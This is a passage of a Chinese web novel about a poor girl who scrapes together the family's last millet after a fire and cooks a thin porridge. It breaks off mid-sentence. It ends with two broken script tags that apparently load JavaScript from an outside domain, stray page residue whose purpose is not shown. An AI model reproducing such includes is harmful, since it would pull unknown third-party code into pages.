院子里的石榴树还浸在雾里,叶片上的露珠轻轻晃动,偶尔滴落在青石板上,发出细碎的 “嗒嗒” 声。陈香荷路过时特意放轻了脚步,连呼吸都压得极低 —— 昨天阿母从火场冲出来时,后背的粗麻短褐都烧得焦黑,被救回来后一直昏着,直到后半夜才醒,现在肯定还疼得厉害。她走到灶房门口,推开那扇吱呀作响的木门,一股混杂着草木灰和旧陶碗潮气的味道扑面而来,这是她从小闻到大的味道,可今天却觉得格外沉,家中的情况她知道,昨晚粮食又被烧了,下一步是不是只有卖了自己才能活下去?卖了自己也好,能给家中换些银钱买粮食。
灶台上摆着那只豁了口的粗瓷米缸,陈香荷踮起脚尖掀开盖子,里面空荡荡的,只剩下缸底一层薄薄的米糠。她心里一紧,赶紧蹲下身,伸手在缸底摸索 —— 昨天阿母用婆婆织的细麻布换回来的几斗粟米,明明还剩小半袋,怎么就没了?她慌慌张张地翻找灶房的角落,终于在灶台后面的破陶罐里,找到了那个系着麻绳的小布袋。解开绳子一看,里面只剩下一小捧粟米,颗颗干瘪,还混着几粒细沙。
“肯定是昨天救火时碰倒了,洒了大半……” 陈香荷小声嘀咕着,眼圈有点发红。她知道这粟米有多金贵,是阿婆熬了数个夜织出来的布换的,是全家眼下唯一的口粮。她小心翼翼地把粟米倒在粗瓷碗里,用指尖一颗一颗挑出里面的细沙,挑完后又对着碗底看了半天,确认没有杂质了,才舍得往那只烧得发黑的瓦罐里倒。
接着,她拿起水瓢,从水缸里舀了三瓢井水倒进瓦罐 —— 水瓢的把早就断了,是用麻绳绑着凑合用的,她倒水时格外小心,生怕洒出来一点。灶膛里还留着昨晚的余烬,她从柴房抱来几根细枝,用吹火筒轻轻吹了吹,火苗 “噼啪” 地跳了起来,映得她的小脸忽明忽暗。她蹲在灶边,时不时往灶膛里添一根柴,眼睛紧紧盯着瓦罐,看着里面的水慢慢变热,泛起细密的水泡。
粟米在水里渐渐煮开,冒出淡淡的香气,可水太多,粥稀得能清晰照见瓦
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">